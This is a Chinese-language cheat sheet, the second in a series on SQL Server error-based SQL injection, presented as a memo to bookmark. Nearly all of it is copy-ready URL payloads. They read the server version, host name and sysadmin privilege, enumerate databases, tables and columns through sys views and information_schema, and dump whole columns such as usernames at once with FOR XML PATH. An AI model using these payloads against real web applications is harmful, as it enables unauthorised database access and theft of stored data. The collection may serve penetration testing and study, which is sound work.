这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
利用sys视图进行显错注入(类型原本是数字,输入的内容是字符,转换中失败导致报错):
爆数据库信息:
id=1' and 1=@@VERSION-- //查询sqlserver的版本id=1' and 1=@@SERVERNAME-- //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')-- //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断
爆数据库名:
id=1' and 1=(select db_name(5))-- //查询数据库名,5可以遍历查询 id=1' and 1=(select top 1 name from master..sysdatabases where dbid>4)-- //查询第一个dbid(数据库id)大于4的数据库名,dbid可以遍历查询其他数据库
或者直接不加dbid:
id=1' and 1=(select top 1 name from master..sysdatabases where name<>'test')-- //查询第一个数据库,并且数据库名不等于test,也可以用!=,或者not in()
一次性爆出(sqlserver2005及以上版本适用):
id=1' and 1=(select quotename(name) from master..sysdatabases for xml path(''))-- //直接爆出所有数据库名,用【】括起来 id=1' and 1=(select ' |' %2bname%2b' |' from master..sysdatabases FOR XML PATH(''))-- //直接爆出所有数据库名,用 | 隔开
爆表名:
id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u')-- //爆第一个表名 id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u' and name<> 'test')-- //爆表名,并且表名不等于test,也可以使用!=或者not in()
一次性爆出(sqlserver2005及以上版本适用):
id=1' and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' for xml path(''))-- //爆出指定数据库的所有表,用【】括起来 id=1' and 1=(select '|' %2bname%2b '|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- //直接爆出所有表名,用 | 隔开
爆列名:
id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名'))-- //爆出xx表的第一个列名id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名')and name<> '列名')-- //爆出xx表的列名,并且列名不等于xx,可以使用!=或者not in()
一次性爆出(sqlserver2005及以上版本适用):
id=1' and 1=(select quotename (name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用【】括起来 id=1' and 1=(select ' |' %2bname%2b' |' from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用 | 隔开
爆数据:
id=1' and 1=(select top 1 username from users)-- //查询users表中username列的第一行数据, id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')-- //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()
一次性爆出指定列的所有数据(sqlserver2005及以上):
id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb] id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|
利用information_schema视图进行报错注入
爆数据库信息:
id=1' and 1=@@VERSION-- //查询sqlserver的版本id=1' and 1=@@SERVERNAME-- //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')-- //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断
爆数据库名:
id=1' and 1=(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA) //只能查到当前数据库名
其他的和sys视图报错语句基本一致
爆表名:
id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)-- //查询第一个表名 id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN('users'))-- //查询表名,并且表名不等于users,可以使用!=或者<>
一次性爆出(sqlserver2005及以上版本适用):
id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path(''))-- //爆出指定数据库的所有表 id=1' and 1=(select '|' %2btable_name%2b '|' from information_schema.tables FOR XML PATH(''))-- //直接爆出所有表名,用 | 隔开
爆列名:
id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='users') //查询users表的第一个列名 id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='表名' and column_name NOT IN('id'))-- //查询列名,并且列名不等于id
一次性爆出(sqlserver2005及以上版本适用):
id=1' and 1=(select quotename (column_name) from information_schema.columns where table_name='表名' FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用【】括起来 id=1' and 1=(select ' |' %2bcolumn_name%2b' |' from information_schema.columns where table_name='表名' FOR XML PATH(''))-- //直接爆出xx数据库,xx表的字段,用 | 隔开
爆数据:
id=1' and 1=(select top 1 username from users)-- //查询users表中username列的第一行数据 id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')-- //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()
一次性爆出指定列的所有数据(sqlserver2005及以上):
id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库名..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb] id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库名..表名 FOR XML PATH(''))-- //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|